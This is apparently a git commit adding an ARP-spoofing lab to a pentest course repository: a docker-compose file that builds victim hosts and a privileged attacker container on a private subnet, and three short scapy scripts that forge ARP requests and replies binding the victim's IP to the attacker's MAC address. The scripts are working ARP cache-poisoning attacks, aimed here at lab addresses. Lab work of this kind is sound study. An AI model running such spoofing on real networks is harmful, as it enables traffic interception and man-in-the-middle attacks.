refactored. 01-02-03 done
This commit is contained in:
43
02-pentest/01-network/01-tcpip/01-arp/docker-compose.yaml
Normal file
43
02-pentest/01-network/01-tcpip/01-arp/docker-compose.yaml
Normal file
@@ -0,0 +1,43 @@
|
||||
version: "3"
|
||||
|
||||
networks:
|
||||
net-1:
|
||||
name: net-1
|
||||
ipam:
|
||||
config:
|
||||
- subnet: 10.3.0.0/24
|
||||
|
||||
services:
|
||||
HostA:
|
||||
image: sb27/sf-lab1:latest
|
||||
container_name: HostA
|
||||
# tty: true
|
||||
cap_add:
|
||||
- ALL
|
||||
networks:
|
||||
net-1:
|
||||
ipv4_address: 10.3.0.2
|
||||
|
||||
HostB:
|
||||
image: sb27/sf-lab1:latest
|
||||
container_name: HostB
|
||||
# tty: true
|
||||
cap_add:
|
||||
- ALL
|
||||
networks:
|
||||
net-1:
|
||||
ipv4_address: 10.3.0.3
|
||||
|
||||
HostM:
|
||||
image: sb27/sf-lab1:latest
|
||||
container_name: HostM
|
||||
# tty: true
|
||||
cap_add:
|
||||
- ALL
|
||||
privileged: true
|
||||
volumes:
|
||||
- ./volume:/volume
|
||||
networks:
|
||||
net-1:
|
||||
ipv4_address: 10.3.0.37
|
||||
|
||||
17
02-pentest/01-network/01-tcpip/01-arp/volume/opt1.py
Normal file
17
02-pentest/01-network/01-tcpip/01-arp/volume/opt1.py
Normal file
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/python3
|
||||
from scapy.all import *
|
||||
|
||||
A_ip = "10.3.0.2"
|
||||
A_mac = "02:42:0a:03:00:02"
|
||||
B_ip = "10.3.0.3"
|
||||
B_mac = "02:42:0a:03:00:03"
|
||||
M_ip = "10.3.0.37"
|
||||
M_mac = "02:42:0a:03:00:25"
|
||||
|
||||
eth = Ether(src=M_mac,dst='ff:ff:ff:ff:ff:ff')
|
||||
arp = ARP(hwsrc=M_mac, psrc=B_ip,
|
||||
hwdst=A_mac, pdst=A_ip,
|
||||
op=1)
|
||||
|
||||
pkt = eth / arp
|
||||
sendp(pkt)
|
||||
17
02-pentest/01-network/01-tcpip/01-arp/volume/opt2.py
Normal file
17
02-pentest/01-network/01-tcpip/01-arp/volume/opt2.py
Normal file
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/python3
|
||||
from scapy.all import *
|
||||
|
||||
A_ip = "10.3.0.2"
|
||||
A_mac = "02:42:0a:03:00:02"
|
||||
B_ip = "10.3.0.3"
|
||||
B_mac = "02:42:0a:03:00:03"
|
||||
M_ip = "10.3.0.37"
|
||||
M_mac = "02:42:0a:03:00:25"
|
||||
|
||||
eth = Ether(src=M_mac,dst=A_mac)
|
||||
arp = ARP(hwsrc=M_mac, psrc=B_ip,
|
||||
hwdst=A_mac, pdst=A_ip,
|
||||
op=2)
|
||||
|
||||
pkt = eth / arp
|
||||
sendp(pkt)
|
||||
17
02-pentest/01-network/01-tcpip/01-arp/volume/opt3.py
Normal file
17
02-pentest/01-network/01-tcpip/01-arp/volume/opt3.py
Normal file
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/python3
|
||||
from scapy.all import *
|
||||
|
||||
A_ip = "10.3.0.2"
|
||||
A_mac = "02:42:0a:03:00:02"
|
||||
B_ip = "10.3.0.3"
|
||||
B_mac = "02:42:0a:03:00:03"
|
||||
M_ip = "10.3.0.37"
|
||||
M_mac = "02:42:0a:03:00:25"
|
||||
|
||||
eth = Ether(src=M_mac,dst='ff:ff:ff:ff:ff:ff')
|
||||
arp = ARP(hwsrc=M_mac, psrc=B_ip,
|
||||
hwdst='ff:ff:ff:ff:ff:ff', pdst=B_ip,
|
||||
op=1)
|
||||
|
||||
pkt = eth / arp
|
||||
sendp(pkt)
|
||||
Reference in New Issue
Block a user